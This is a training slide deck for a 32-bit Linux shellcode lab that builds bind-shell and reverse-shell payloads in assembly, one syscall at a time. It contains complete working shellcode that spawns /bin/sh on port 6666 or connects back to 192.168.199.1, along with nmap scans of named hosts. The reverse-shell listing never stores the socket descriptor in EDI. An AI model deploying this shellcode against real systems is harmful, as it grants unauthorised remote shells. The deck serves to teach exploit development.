SHELLCODE LAB 32 BIT

BY MARCO LUX

NETWORK SHELLS

Overview

- Local shellcode is helpful, but sometimes you want a network shell
- Use transport protocols like TCP or UDP (others are possible as well)
- Basic socket operations of linux are helpfull

Overview

- 2 most common Types are Bindshell and Reverseshell
- While bind spawns an open port on the victim waiting for incoming connections
- Reverse connects back to the Attacker, through the firewall – hopefully ☺

BINDSHELL

- So you want to connect to the evil port 666 or alike and gain a Shell
- Oh btw. Bind()
- We focus on TCP for the start
- Check out the next slides, when can we use a bindshell?

BINDSHELL – CAN WE USE IT?

```
Nmap scan report for mail.hackerzvoice.net
Host is up (0.042s latency).
rDNS record for 171.33.64.29: ows-171-33-64
Not shown: 994 filtered ports
PORT    STATE SERVICE
25/tcp  open  smtp
110/tcp open  pop3
143/tcp open  imap
443/tcp open  https
993/tcp open  imaps
995/tcp open  pop3s
```

```
Nmap scan report for www.hack4.org (91.250.101.170)
Host is up (0.044s latency).
rDNS record for 91.250.101.170: mail.hack4.org
Not shown: 989 filtered ports
PORT      STATE  SERVICE
21/tcp    closed ftp
25/tcp    open   smtp
80/tcp    open   http
443/tcp   open   https
993/tcp   closed imaps
995/tcp   closed pop3s
50000/tcp closed ibm-db2
50001/tcp closed unknown
50002/tcp closed iiimsf
50003/tcp closed unknown
50006/tcp closed unknown
```

```
Nmap scan report for 192.168.
Host is up (0.013s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
80/tcp   open  http
1900/tcp open  upnp
MAC Address: 64:66:
```

BINDSHELL

- What calls do we need to create 32bit linux bindshell?
  - Socket
  - Bind
  - Listen
  - Accept
  - Dup2
  - Execve
- Lets focus on the socket calls first

BINDSHELL

- What calls do we need to create 32bit linux bindshell?
  - Socket (man 2 socket)
  - Bind (man 2 bind)
  - Listen (man 2 listen)
  - Accept (man 2 accept)
  - Dup2 (man 2 dup2)
  - Execve (man 2 execve)
- Lets focus on the socket calls first

COMPILE

```
#!/bin/bash
# easy build script for shellcode class

if [ $# -ne 1 ];
then
echo "what is the name of the sourcefile, without .asm please"
exit
fi

name=$1

nasm -f elf32 $name.asm -o $name.o;ld -m elf_i386 -o $name $name.o
md5sum $name
ls -al $name
echo "Done"
```

BINDSHELL - PREVIEW

```
BITS 32
global _start
_start:

xor     eax, eax        ; clean
xor     ebx, ebx
xor     edx, edx        ; prepare edx for null
mov     al, 0x66        ; SYS_SOCKETCALL
mov     bl, 0x1         ; SYS_SOCKET (/usr/include/linux/net.h)
push    edx             ; IPPROTO == 0
push    0x1             ; SOCK_STREAM == 1
push    0x2             ; AF_INET / PF_INET == 2
mov     ecx,esp
int     0x80
xchg    edi, eax
push    edx             ; 0.0.0.0
push    word 0x0A1A     ; PORT 6666
push    word 0x2        ; AF_INET, sin_family
mov     ecx, esp        ; struct sockaddr *addr
mov     esi, ecx        ; save struct sockaddr for later use in ESI
push    0x10            ; socklen_t addrlen
push    ecx             ; sockaddr *addr
push    edi             ; socket fd
mov     ecx, esp
mov     bl,0x2          ; SYS_BIND
xor     eax, eax        ; clean accumulator
mov     al,0x66         ; SYS_SOCKETCALL
int     0x80
```

```
mov     bl,0x2          ; SYS_BIND
xor     eax, eax        ; clean accumulator
mov     al,0x66         ; SYS_SOCKETCALL
int     0x80
xor     eax, eax
mov     al,0x66         ; SYS_SOCKETCALL
mov     bl,0x4          ; SYS_LISTEN, 1st Argument to SYS_SOCKETCALL
push    0x1             ; backlog
push    edi             ; sockfd
mov     ecx, esp        ; 2nd argument to SYS_SOCKETCALL
int     0x80
xor     eax, eax        ; clean accumulator
mov     al,0x66
mov     bl,0x5
push    edx             ; flags, null
push    edx
push    edi
mov     ecx, esp
int     0x80
```

```
xor     ecx, ecx
mov     cl,0x2
xchg    ebx,eax
loop:
xor     eax, eax        ; clean accumulator
mov     al,0x3F
int     0x80
dec     ecx
jns     loop            ; if ecx is *not* -1 (SIGN Flag)
xor     eax, eax        ; clean accumulator
xor     esi, esi
push    esi
mov     edx, esp        ; 3rd argument
push    esi             ; NULL
push    0x68732f6e      ; n/sh
push    0x69622f2f      ; //bi
mov     ebx, esp        ; 1st argument
mov     ecx, edx        ; 2nd argument
mov     al,0xb
int     0x80
```

SOCKET OPERATION 32 BIT

- UNLIKE OTHER UNIX LIKE OS LINUX 32BIT HAS ONE SYSCALL ONLY FOR NETWORK OPERATIONS
- SYSCALL 102 OR 66H
- IT IS CALLED SYS_SOCKETCALL

SYS_SOCKETCALL

MAN 2 SOCKETCALL

"SOCKETCALL() IS A COMMON KERNEL ENTRY POINT FOR THE SOCKET SYSTEM CALLS. **CALL** DETERMINES WHICH SOCKET FUNCTION TO INVOKE. **ARGS** POINTS TO A BLOCK CONTAINING THE ACTUAL ARGUMENTS, WHICH ARE PASSED THROUGH TO THE APPROPRIATE CALL."

INT SOCKETCALL(INT CALL, UNSIGNED LONG *ARGS);

/USR/INCLUDE/LINUX/NET.H

- First Argument is specified in here
- For Socket:
- int socketcall(1, unsigned long *args);
- Then the 2nd argument

```
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */
#define SYS_GETSOCKNAME 6               /* sys_getsockname(2)           */
#define SYS_GETPEERNAME 7               /* sys_getpeername(2)           */
#define SYS_SOCKETPAIR  8               /* sys_socketpair(2)            */
#define SYS_SEND        9               /* sys_send(2)                  */
#define SYS_RECV        10              /* sys_recv(2)                  */
#define SYS_SENDTO      11              /* sys_sendto(2)                */
#define SYS_RECVFROM    12              /* sys_recvfrom(2)              */
#define SYS_SHUTDOWN    13              /* sys_shutdown(2)              */
#define SYS_SETSOCKOPT  14              /* sys_setsockopt(2)            */
#define SYS_GETSOCKOPT  15              /* sys_getsockopt(2)            */
#define SYS_SENDMSG     16              /* sys_sendmsg(2)               */
#define SYS_RECVMSG     17              /* sys_recvmsg(2)               */
#define SYS_ACCEPT4     18              /* sys_accept4(2)               */
#define SYS_RECVMMSG    19              /* sys_recvmmsg(2)              */
#define SYS_SENDMMSG    20              /* sys_sendmmsg(2)              */
```

SOCKET

- Now the real information for the syscall have to be supplied
- Everything in gods little world starts with a socket!
- Lets go with the default one: IPv4 + TCP

SOCKET

MAN 2 SOCKET

"SOCKET() CREATES AN ENDPOINT FOR COMMUNICATION AND RETURNS A FILE DESCRIPTOR THAT REFERS TO THAT ENDPOINT."

INT SOCKET(INT DOMAIN, INT TYPE, INT PROTOCOL);

SOCKET – DOMAIN

- "The domain argument specifies a communication domain; this selects the protocol family which will be used for communication. These families are defined in <sys/socket.h>"
- Nah not for me, have a look at:

/usr/include/bits/socket.h

/usr/include/i386-linux-gnu/bits/socket.h

SOCKET - DOMAIN

- PF_INET IS AF_INET(IPV4)
- PF_INET6 IS AF_INET6(IPV6)

```
/* Protocol families.  */
#define PF_UNSPEC       0       /* Unspecified.  */
#define PF_LOCAL        1       /* Local to host (pipes and file-domain).  */
#define PF_UNIX         PF_LOCAL /* POSIX name for PF_LOCAL.  */
#define PF_FILE         PF_LOCAL /* Another non-standard name for PF_LOCAL.  */
#define PF_INET         2       /* IP protocol family.  */
#define PF_AX25         3       /* Amateur Radio AX.25.  */
#define PF_IPX          4       /* Novell Internet Protocol.  */
#define PF_APPLETALK    5       /* Appletalk DDP.  */
#define PF_NETROM       6       /* Amateur radio NetROM.  */
#define PF_BRIDGE       7       /* Multiprotocol bridge.  */
#define PF_ATMPVC       8       /* ATM PVCs.  */
#define PF_X25          9       /* Reserved for X.25 project.  */
#define PF_INET6        10      /* IP version 6.  */
#define PF_ROSE         11      /* Amateur Radio X.25 PLP.  */
#define PF_DECnet       12      /* Reserved for DECnet project.  */
#define PF_NETBEUI      13      /* Reserved for 802.2LLC project.  */
#define PF_SECURITY     14      /* Security callback pseudo AF.  */
```

SOCKET - TYPE

"The socket has the indicated type, which specifies the communication semantics."

- SOCK_STREAM - Provides sequenced, reliable, two-way, connection-based byte streams. An out-of-band data transmission mechanism may be supported.
- SOCK_DGRAM - Supports datagrams (connectionless, unreliable messages of a fixed maximum length).
- SOCK_RAW - Provides raw network protocol access.

SOCKET - TYPE

"The socket has the indicated type, which specifies the communication semantics."

- SOCK_STREAM - Provides sequenced, reliable, two-way, connection-based byte streams. An out-of-band data transmission mechanism may be supported.
- SOCK_DGRAM - Supports datagrams (connectionless, unreliable messages of a fixed maximum length).
- SOCK_RAW - Provides raw network protocol access.

SOCKET – TYPE

"The socket has the indicated type, which specifies the communication semantics."

- SOCK_STREAM - Provides sequenced, reliable, two-way, connection-based byte streams. An out-of-band data transmission mechanism may be supported.
- SOCK_DGRAM - Supports datagrams (connectionless, unreliable messages of a fixed maximum length).
- SOCK_RAW - Provides raw network protocol access.
- Look up in : /usr/include/bits/socket_type.h

SOCKET – TYPE

- LOOKUP IN : /USR/INCLUDE/BITS/SOCKET_TYPE.H

```
{
  SOCK_STREAM = 1,              /* Sequenced, reliable, connection-based
                                   byte streams.  */
#define SOCK_STREAM SOCK_STREAM
  SOCK_DGRAM = 2,               /* Connectionless, unreliable datagrams
                                   of fixed maximum length.  */
#define SOCK_DGRAM SOCK_DGRAM
  SOCK_RAW = 3,                 /* Raw protocol interface.  */
#define SOCK_RAW SOCK_RAW
  SOCK_RDM = 4,                 /* Reliably-delivered messages.  */
#define SOCK_RDM SOCK_RDM
  SOCK_SEQPACKET = 5,           /* Sequenced, reliable, connection-based,
                                   datagrams of fixed maximum length.  */
#define SOCK_SEQPACKET SOCK_SEQPACKET
  SOCK_DCCP = 6,                /* Datagram Congestion Control Protocol.  */
#define SOCK_DCCP SOCK_DCCP
  SOCK_PACKET = 10,             /* Linux specific way of getting packets
                                   at the dev level.  For writing rarp and
                                   other similar things on the user level. */
```

SOCKET - PROTOCOL

- "The protocol specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0."

LETS BUILD THE FIRST CALL

- SOCKETCALL(SOCKET, SOCKET(AF_INET, SOCK_STREAM, IPPROTO))
- BECOMES:

```
xor     edx, edx        ; prepare edx for null
mov     al, 0x66        ; SYS_SOCKETCALL
mov     bl, 0x1         ; SYS_SOCKET (/usr/include/linux/net.h)
push    edx             ; IPPROTO == 0
push    0x1             ; SOCK_STREAM == 1
push    0x2             ; AF_INET / PF_INET == 2
mov     ecx,esp
int     0x80
```

LETS BUILD THE FIRST CALL

- PUT 0X66 / 102D INTO 8BIT EAX FOR SYS_SOCKETCALL
- PLACE 0X1 INTO 8BIT EBX FOR SYS_SOCKET
- PUSH NULL REGISTER FOR IPPROTO (NOTE DON'T USE 0X0)

```
xor     edx, edx          ; prepare edx for null
mov     al, 0x66          ; SYS_SOCKETCALL
mov     bl, 0x1           ; SYS_SOCKET (/usr/include/linux/net.h)
push    edx               ; IPPROTO == 0
push    0x1               ; SOCK_STREAM == 1
push    0x2               ; AF_INET / PF_INET == 2
mov     ecx,esp
int     0x80
```

LETS BUILD THE FIRST CALL

- PUSH 0X1 FOR SOCK_STREAM
- PUSH 0X2 FOR AF_INET
- CREATE *ARGS + INTERRUPT (INT 0X80)

```
xor     edx, edx          ; prepare edx for null
mov     al, 0x66          ; SYS_SOCKETCALL
mov     bl, 0x1           ; SYS_SOCKET (/usr/include/linux/net.h)
push    edx               ; IPPROTO == 0
push    0x1               ; SOCK_STREAM == 1
push    0x2               ; AF_INET / PF_INET == 2
mov     ecx,esp
int     0x80
```

BIND

- MAN 2 BIND
- INT BIND(INT SOCKFD, CONST STRUCT SOCKADDR *ADDR,SOCKLEN_T ADDRLEN);
- WHEN A SOCKET IS CREATED WITH SOCKET(2), IT EXISTS IN A NAME SPACE (ADDRESS FAMILY) BUT HAS NO ADDRESS ASSIGNED TO IT. BIND() ASSIGNS THE ADDRESS SPECIFIED BY **ADDR** TO THE SOCKET REFERRED TO BY THE FILE DESCRIPTOR **SOCKFD**. **ADDRLEN** SPECIFIES THE SIZE, IN BYTES, OF THE ADDRESS STRUCTURE POINTED TO BY ADDR."

BIND

- int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
- SOCKFD is in EAX (return value from sys_socketcall+Socket)
- Sockaddr, the IP we want to bind to + Port + AF_INET
- ADDRLEN of Sockaddr

BIND

- SOCKFD IS A RETURN VALUE OF SOCKET, SO ITS IN EAX
- /USR/INCLUDE/LINUX/IN.H;

```
#DEFINE __SOCK_SIZE__   16      /* SIZEOF(STRUCT SOCKADDR)  */;
TYPEDEF UNSIGNED SHORT INT SA_FAMILY_T;
STRUCT SOCKADDR {; SA_FAMILY_T SA_FAMILY;
            UNSIGNED SHORT INT 2 BYTE;
            CHAR       SA_DATA[14]; }
```

BIND

- Place sockfd in EDI
- Push 0.0.0.0 on the stack
- Push Port on the Stack
- Push AF_INET
- Create Pointer
- Save PTR for later

```
xchg    edi, eax
push    edx             ; 0.0.0.0
push    word 0x0A1A     ; PORT 6666
push    word 0x2        ; AF_INET, sin_family
mov     ecx, esp        ; struct sockaddr *addr
mov     esi, ecx        ; save struct sockaddr for later use in ESI
push    0x10            ; socklen_t addrlen
push    ecx             ; sockaddr *addr
push    edi             ; socket fd
mov     ecx, esp
mov     bl,0x2          ; SYS_BIND
xor     eax, eax        ; clean accumulator
mov     al,0x66         ; SYS_SOCKETCALL
int     0x80
```

BIND

- Push ADDRLEN 10h / 16d
- Push PTR Sockaddr
- Push FD of Socket
- Create *ARGs for Socketcall
- Put 0x2 to Call
- Mov 102 to Accumulator
- Interrupt!

```
xchg    edi, eax
push    edx             ; 0.0.0.0
push    word 0x0A1A     ; PORT 6666
push    word 0x2        ; AF_INET, sin_family
mov     ecx, esp        ; struct sockaddr *addr
mov     esi, ecx        ; save struct sockaddr for later use in ESI
push    0x10            ; socklen_t addrlen
push    ecx             ; sockaddr *addr
push    edi             ; socket fd
mov     ecx, esp
mov     bl,0x2          ; SYS_BIND
xor     eax, eax        ; clean accumulator
mov     al,0x66         ; SYS_SOCKETCALL
int     0x80
```

LISTEN

- MAN 2 LISTEN
- INT LISTEN(INT SOCKFD, INT BACKLOG);
- "LISTEN() MARKS THE SOCKET REFERRED TO BY **SOCKFD** AS A PASSIVE SOCKET, THAT IS, AS A SOCKET THAT WILL BE USED TO ACCEPT INCOMING CONNECTION REQUESTS USING ACCEPT(2)"
- "THE **SOCKFD** ARGUMENT IS A FILE DESCRIPTOR THAT REFERS TO A SOCKET OF TYPE SOCK_STREAM OR SOCK_SEQPACKET."
- "THE **BACKLOG** ARGUMENT DEFINES THE MAXIMUM LENGTH TO WHICH THE QUEUE OF PENDING CONNECTIONS FOR **SOCKFD** MAY GROW."

LISTEN

- CLEAN THE REGISTER EAX
- PLACE SYS_SOCKETCALL INTO 8BIT EAX
- PLACE 0X4 TO CALL FOR SYS_LISTEN

```
xor     eax, eax
mov     al,0x66         ; SYS_SOCKETCALL
mov     bl,0x4          ; SYS_LISTEN, 1st Argument to SYS_SOCKETCALL
push    0x1             ; backlog
push    edi             ; sockfd
mov     ecx, esp        ; 2nd argument to SYS_SOCKETCALL
int     0x80
```

LISTEN

- ONLY 0X1 FOR BACKLOG
- PLACE SOCKFD ON THE STACK
- CREATE *ARGS + INTERRRUPT!

```
xor     eax, eax
mov     al,0x66         ; SYS_SOCKETCALL
mov     bl,0x4          ; SYS_LISTEN, 1st Argument to SYS_SOCKETCALL
push    0x1             ; backlog
push    edi             ; sockfd
mov     ecx, esp        ; 2nd argument to SYS_SOCKETCALL
int     0x80
```

ACCEPT

- MAN 2 ACCEPT
- INT ACCEPT(INT SOCKFD, STRUCT SOCKADDR *ADDR, SOCKLEN_T *ADDRLEN);
- "THE ACCEPT() SYSTEM CALL IS USED WITH CONNECTION-BASED SOCKET TYPES (SOCK_STREAM, SOCK_SEQPACKET). IT EXTRACTS THE FIRST CONNECTION REQUEST ON THE QUEUE OF PENDING CONNECTIONS FOR THE LISTENING SOCKET, SOCKFD, CREATES A NEW CONNECTED SOCKET, AND RETURNS A NEW FILE DESCRIPTOR REFERRING TO THAT SOCKET. THE NEWLY CREATED SOCKET IS NOT IN THE LISTENING STATE. THE ORIGINAL SOCKET SOCKFD IS UNAFFECTED BY THIS CALL."

ACCEPT

- MAN 2 ACCEPT
- INT ACCEPT(INT SOCKFD, STRUCT SOCKADDR *ADDR, SOCKLEN_T *ADDRLEN);
- "THE ARGUMENT **SOCKFD** IS A SOCKET THAT HAS BEEN CREATED WITH SOCKET(2) THE ARGUMENT **ADDR** IS A POINTER TO A **SOCKADDR** STRUCTURE. THIS STRUCTURE IS FILLED IN WITH THE ADDRESS OF THE PEER SOCKET, AS KNOWN TO THE COMMUNICATIONS LAYER.... WHEN **ADDR** IS **NULL**, NOTHING IS FILLED IN; IN THIS CASE, **ADDRLEN** IS NOT USED, AND SHOULD ALSO BE **NULL**. "
- BASICALLYT WE DON'T CARE ABOUT 2ND AND 3RD ARGUMENT

ACCEPT

- Clean Regs and Place SYS_SOCKETCALL in 8Bit EAX Reg AKA AL
- Place 0x5 for ACCEPT() in Call Argument (1st Arg to Socketcall)
- Push Null for *ADDR and Null for Addrlen (2 Times Push edx)

```
xor     eax, eax        ; clean accumulator
mov     al,0x66
mov     bl,0x5
push    edx             ; flags, null
push    edx
push    edi
mov     ecx, esp
int     0x80
```

ACCEPT

- PUSH EDI (SOCKFD IS SAVED THERE)
- CREATE * ARGS (MOV ECX, ESP)
- INTERRUPT!

```
xor     eax, eax        ; clean accumulator
mov     al,0x66
mov     bl,0x5
push    edx             ; flags, null
push    edx
push    edi
mov     ecx, esp
int     0x80
```

INTERMEDIATE RESULT

```
[user@localhost bindshell_tcp]$ ./build_x86.sh bindtcp;strace ./bindtcp
0a1d3edc97f54212e908b07f0bc98df5  bindtcp
-rwxr-xr-x 1 user user 612 Jan 31 09:28 bindtcp
Done
execve("./bindtcp", ["./bindtcp"], [/* 29 vars */]) = 0
strace: [ Process PID=1052 runs in 32 bit mode. ]
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(6666), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1)                            = 0
accept(3, NULL, NULL
```

Intermediate Result

- We have successfully created a Socket
- It is bound to our Evil Port and is waiting for Connections
- A connection will be Accepted
- …whats next?

DUP2

- Like the most usefull thing and perfectly helpful
- We Simply Duplicate a FD in this case STDERR, STDOUT and STDIN
- Redirect them to the FD of the Created Socket
- So All Streams/ Data is Redirected

DUP2

- Like the most usefull thing Ever and perfectly helpful
- We Simply Duplicate a FD in this case STDERR, STDOUT and STDIN
- Redirect them to the FD of the Created Socket
- So All Streams/ Data is Redirected

DUP2

- Man 2 dup2
- int dup2(int oldfd, int newfd);
- "The dup2() system call performs the same task as dup(), but instead of using the lowest-numbered unused file descriptor, it uses the file descriptor number specified in **NEWFD**. If the file descriptor **NEWFD** was previously open, it is silently closed before being reused."

DUP2

- Cleaning the Registers
- Create counter and FD start
- Place Eax in EBX
- Label loop
- Clean EAX
- Mov dup2 Syscall in EAX
- Interrupt

```
xor     ecx, ecx
mov     cl,0x2
xchg    ebx,eax
loop:
xor     eax, eax        ; clean accumulator
mov     al,0x3F
int     0x80
dec     ecx
jns     loop            ; if ecx is *not* -1 (SIGN Flag)
```

DUP2

- Decrement the counter and FD
- If Sign Flag not Set back to Loop
- Start over
- 3 Times!

```
xor     ecx, ecx
mov     cl,0x2
xchg    ebx,eax
loop:
xor     eax, eax        ; clean accumulator
mov     al,0x3F
int     0x80
dec     ecx
jns     loop            ; if ecx is *not* -1 (SIGN Flag)
```

EXECVE

- MAN 2 EXECVE
- INT EXECVE(CONST CHAR *FILENAME, CHAR *CONST ARGV[], CHAR *CONST ENVP[]);
- ARGV IS AN ARRAY OF ARGUMENT STRINGS PASSED TO THE NEW PROGRAM.
- ENVP IS AN ARRAY OF STRINGS, CONVENTIONALLY OF THE FORM KEY=VALUE, WHICH ARE PASSED AS ENVIRONMENT TO THE NEW PROGRAM.
- THE ARGV AND ENVP ARRAYS MUST EACH INCLUDE A NULL POINTER AT THE END OF THE ARRAY.

EXECVE

- Cleaning Regs
- Push Null and Create * Into EDX
- Push Null and //bin/sh on the Stack
- Place ADDR into EBX
- 3rd and 2nd Arg can be the Same here

```
xor     eax, eax        ; clean accumulator
xor     esi, esi
push    esi
mov     edx, esp        ; 3rd argument
push    esi             ; NULL
push    0x68732f6e      ; n/sh
push    0x69622f2f      ; //bi
mov     ebx, esp        ; 1st argument
mov     ecx, edx        ; 2nd argument
mov     al,0xb
int     0x80
```

EXECVE

- MOV 0XB INTO 8BIT EAX
- INTERRUPT!

```
xor     eax, eax        ; clean accumulator
xor     esi, esi
push    esi
mov     edx, esp        ; 3rd argument
push    esi             ; NULL
push    0x68732f6e      ; n/sh
push    0x69622f2f      ; //bi
mov     ebx, esp        ; 1st argument
mov     ecx, edx        ; 2nd argument
mov     al,0xb
int     0x80
```

LETS TEST IT!

```
execve("./bindtcp", ["./bindtcp"], [/* 29 vars */]) = 0
strace: [ Process PID=1093 runs in 32 bit mode. ]
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(6666), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1)                            = 0
accept(3, NULL, NULL)                   = 4
dup2(4, 2)                              = 2
dup2(4, 1)                              = 1
dup2(4, 0)                              = 0
execve("//bin/sh", [], [/* 0 vars */])  = 0
```

LETS TEST IT!

```
localhost [127.0.0.1] 6666 open
id
uid=1000(user) gid=1000(user) groups=1000(user),993(docker)
hostname
localhost
```

REVERSESHELL

- What calls do we need to create 32bit linux Reverseshell?
  - Socket
  - Bind / Connect
  - Listen
  - Accept
  - Dup2
  - Execve

REVERSESHELL

- What calls do we need to create 32bit linux Reverseshell?
  - Socket
  - **Bind / Connect**
  - ~~Listen~~
  - ~~Accept~~
  - Dup2
  - Execve

REVERSESHELL

- What calls do we need to create 32bit linux Reverseshell?
  - Socket
  - ~~**Bind** (Yes, we can but we don't right now!)~~, we keep Connect
  - ~~Listen~~
  - ~~Accept~~
  - Dup2
  - Execve

REVERSESHELL

- What calls do we need to create 32bit linux Reverseshell?
  - Socket
  - Connect
  - Dup2
  - Execve

REVERSESHELL - PREVIEW

```
BITS 32
global _start

_start:
xor     eax, eax        ; clean accumulator
xor     ebx, ebx        ; clean it as well
xor     edx, edx        ; prepare edx for null
mov     al, 0x66        ; put 102 into AL, sys_socketcall
mov     bl, 0x1         ; SYS_SOCKET (/usr/include/linux/net.h)
push    edx             ; IPPROTO == 0
push    0x1             ; SOCK_STREAM == 1
push    0x2             ; AF_INET / PF_INET == 2
mov     ecx,esp
int     0x80

push    0x01C7A8C0      ; 192.168.199.1
push    word 0x0A1A     ; PORT 6666
push    word 0x2        ; AF_INET, sin_family
mov     ecx, esp        ; struct sockaddr *addr
mov     esi, ecx        ; save struct sockaddr for later use in ESI
push    0x10            ; socklen_t addrlen
push    ecx             ; sockaddr *addr
push    edi             ; socket fd
mov     ecx, esp
mov     bl,0x3          ; SYS_CONNECT
xor     eax, eax        ; clean accumulator
mov     al,0x66         ; SYS_SOCKETCALL
int     0x80
```

```
xor     ecx, ecx
mov     cl,0x2          ; 2 Stderr, 1 Stdout, 0 Stdin
mov     ebx,edi
loop:
xor     eax, eax        ; clean accumulator
mov     al,0x3F         ; dup2
int     0x80
dec     ecx
jns     loop            ; if ecx is *not* -1 (SIGN Flag)
xor     eax, eax        ; clean accumulator
xor     esi, esi
push    esi
mov     edx, esp        ; 3rd argument
push    esi             ; NULL
push    0x68732f6e      ; n/sh
push    0x69622f2f      ; //bi
mov     ebx, esp        ; 1st argument
mov     ecx, edx        ; 2nd argument
mov     al,0xb
int     0x80
```

CONNECT

- MAN 2 CONNECT
- "THE CONNECT() SYSTEM CALL CONNECTS THE SOCKET REFERRED TO BY THE FILE DESCRIPTOR SOCKFD TO THE ADDRESS SPECIFIED BY ADDR. THE ADDRLEN ARGUMENT SPECIFIES THE SIZE OF ADDR. THE FORMAT OF THE ADDRESS IN ADDR IS DETERMINED BY THE ADDRESS SPACE OF THE SOCKET SOCKFD; SEE SOCKET(2) FOR FURTHER DETAILS."
- INT CONNECT(INT SOCKFD, CONST STRUCT SOCKADDR *ADDR, SOCKLEN_T ADDRLEN);

CONNECT

- INT CONNECT(INT SOCKFD, CONST STRUCT SOCKADDR *ADDR, SOCKLEN_T ADDRLEN);
- WE CAN BASICALLY USE THE INSTRUCTIONS FROM BIND
- WHAT DO WE NEED TO ADJUST?

CONNECT

- PUSH IP ADDRESS
- PUSH PORT
- PUSH SIN_FAMILY
- CREATE STRUCT
- SAVE IT

```
push    0x01C7A8C0      ; 192.168.199.1
push    word 0x0A1A     ; PORT 6666
push    word 0x2        ; AF_INET, sin_family
mov     ecx, esp        ; struct sockaddr *addr
mov     esi, ecx        ; save struct sockaddr for later use in ESI
push    0x10            ; socklen_t addrlen
push    ecx             ; sockaddr *addr
push    edi             ; socket fd
mov     ecx, esp
mov     bl,0x3          ; SYS_CONNECT
xor     eax, eax        ; clean accumulator
mov     al,0x66         ; SYS_SOCKETCALL
int     0x80
```

CONNECT

- PUSH ADDRLEN (0X10 / 16D)
- PUSH CREATED *SOCKADDR
- CREATE *ARGS FOR SOCKETCALL
- MOV CONNECT (0X3) TO BL
- CLEAN EAX AND PLACE 102
- INTERRUPT!

```
push    0x01C7A8C0      ; 192.168.199.1
push    word 0x0A1A     ; PORT 6666
push    word 0x2        ; AF_INET, sin_family
mov     ecx, esp        ; struct sockaddr *addr
mov     esi, ecx        ; save struct sockaddr for later use in ESI
push    0x10            ; socklen_t addrlen
push    ecx             ; sockaddr *addr
push    edi             ; socket fd
mov     ecx, esp
mov     bl,0x3          ; SYS_CONNECT
xor     eax, eax        ; clean accumulator
mov     al,0x66         ; SYS_SOCKETCALL
int     0x80
```

DUP2

- We discussed DUP2 already within the Bindshell Topic
- Not much of News here

EXECVE

- MAN 2 EXECVE
- WE ALREADY DISCUSSED THIS SYSCALL

```
xor     eax, eax        ; clean accumulator
xor     esi, esi
push    esi
mov     edx, esp        ; 3rd argument
push    esi             ; NULL
push    0x68732f6e      ; n/sh
push    0x69622f2f      ; //bi
mov     ebx, esp        ; 1st argument
mov     ecx, edx        ; 2nd argument
mov     al,0xb
int     0x80
```

Lets Test It

- Compile it and Run it Against Your System

TROUBLESHOOTING I

- SYSCALL_4294967103(0XFFFFFFEA, 0X1, 0, 0XBF82F20C, 0X3, 0) = -1 (ERRNO 38);
  SYSCALL_4294967103(0XFFFFFFEA, 0, 0, 0XBF82F20C, 0X3, 0) = -1 (ERRNO 38);
  SYSCALL_4294967050(0XBF82F1DC, 0XFFFFFFFF, 0XBF82F1E8, 0, 0X3, 0) = -1 (ERRNO 38)
- YOU BASICALLY SHOULD CLEAN YOUR REGISTERS